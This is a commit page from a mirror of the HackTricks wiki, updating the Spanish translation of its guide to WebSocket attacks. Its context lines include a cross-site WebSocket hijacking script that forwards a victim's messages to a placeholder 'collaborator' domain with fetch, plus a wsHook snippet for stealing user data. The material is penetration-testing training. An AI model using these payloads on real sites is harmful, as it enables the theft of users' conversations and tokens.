mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/websocket-attacks.md'] to es
This commit is contained in:
parent
f3778ead9d
commit
729fb3d5f8
@ -8,7 +8,7 @@ Las conexiones WebSocket se establecen a través de un **handshake HTTP** inicia
|
||||
|
||||
### Establecimiento de Conexiones WebSocket
|
||||
|
||||
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen ser iniciadas a través de JavaScript del lado del cliente, como se muestra a continuación:
|
||||
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen ser iniciadas a través de JavaScript del lado del cliente como se muestra a continuación:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
@ -70,10 +70,15 @@ Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](htt
|
||||
- **Burp Suite** soporta la comunicación de websockets MitM de una manera muy similar a como lo hace para la comunicación HTTP regular.
|
||||
- La **extensión de Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **te permitirá gestionar mejor las comunicaciones de Websocket en Burp al obtener el **historial**, establecer **reglas de interceptación**, usar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater.**
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL de websocket interactivo** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL interactivo de websocket** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación.
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs usando **websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs usando **websockets.**
|
||||
|
||||
## Desencriptando Websocket
|
||||
|
||||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||||
|
||||
## Laboratorio de Websocket
|
||||
|
||||
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web usando websockets y en [**esta publicación**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
|
||||
@ -86,9 +91,9 @@ Los atacantes pueden explotar esto al alojar una **página web maliciosa** que i
|
||||
|
||||
### Ataque Simple
|
||||
|
||||
Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** es **enviada** al servidor. El **servidor** podría estar usándola para **relacionar** a cada **usuario específico** con su **sesión de websocket** basada en la cookie enviada.
|
||||
Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** se **envía** al servidor. El **servidor** podría estar usándola para **relacionar** a cada **usuario específico** con su **sesión de websocket** basada en la cookie enviada.
|
||||
|
||||
Entonces, si por **ejemplo** el **servidor de websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **XSS simple** estableciendo la conexión (la **cookie** será **enviada** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
|
||||
Entonces, si por **ejemplo** el **servidor de websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **XSS simple** estableciendo la conexión (la **cookie** se **enviará** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -105,11 +110,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### Cross Origin + Cookie con un subdominio diferente
|
||||
|
||||
En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), el atacante logró **ejecutar Javascript arbitrario en un subdominio** del dominio donde estaba ocurriendo la comunicación por web socket. Debido a que era un **subdominio**, la **cookie** estaba siendo **enviada**, y como el **Websocket no verificó correctamente el Origin**, fue posible comunicarse con él y **robar tokens de él**.
|
||||
En esta publicación del blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **ejecutar Javascript arbitrario en un subdominio** del dominio donde estaba ocurriendo la comunicación por web socket. Debido a que era un **subdominio**, la **cookie** estaba siendo **enviada**, y como el **Websocket no verificó correctamente el Origin**, fue posible comunicarse con él y **robar tokens de él**.
|
||||
|
||||
### Robando datos del usuario
|
||||
|
||||
Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde está ocurriendo la comunicación por websocket agrega este código:
|
||||
Copia la aplicación web que deseas suplantar (los archivos .html por ejemplo) y dentro del script donde está ocurriendo la comunicación por websocket añade este código:
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
;<script src="wsHook.js"></script>
|
||||
@ -144,7 +149,7 @@ Dado que los Web Sockets son un mecanismo para **enviar datos al lado del servid
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Esta vulnerabilidad podría permitirte **eludir las restricciones de proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a puntos finales ocultos**. Para más información, consulta la siguiente página:
|
||||
Esta vulnerabilidad podría permitirte **eludir las restricciones de proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a endpoints ocultos**. Para más información, consulta la siguiente página:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
|
Loading…
x
Reference in New Issue
Block a user